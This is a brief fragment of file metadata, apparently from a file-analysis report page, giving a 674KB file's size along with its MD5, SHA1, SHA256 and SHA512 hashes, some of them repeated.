SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373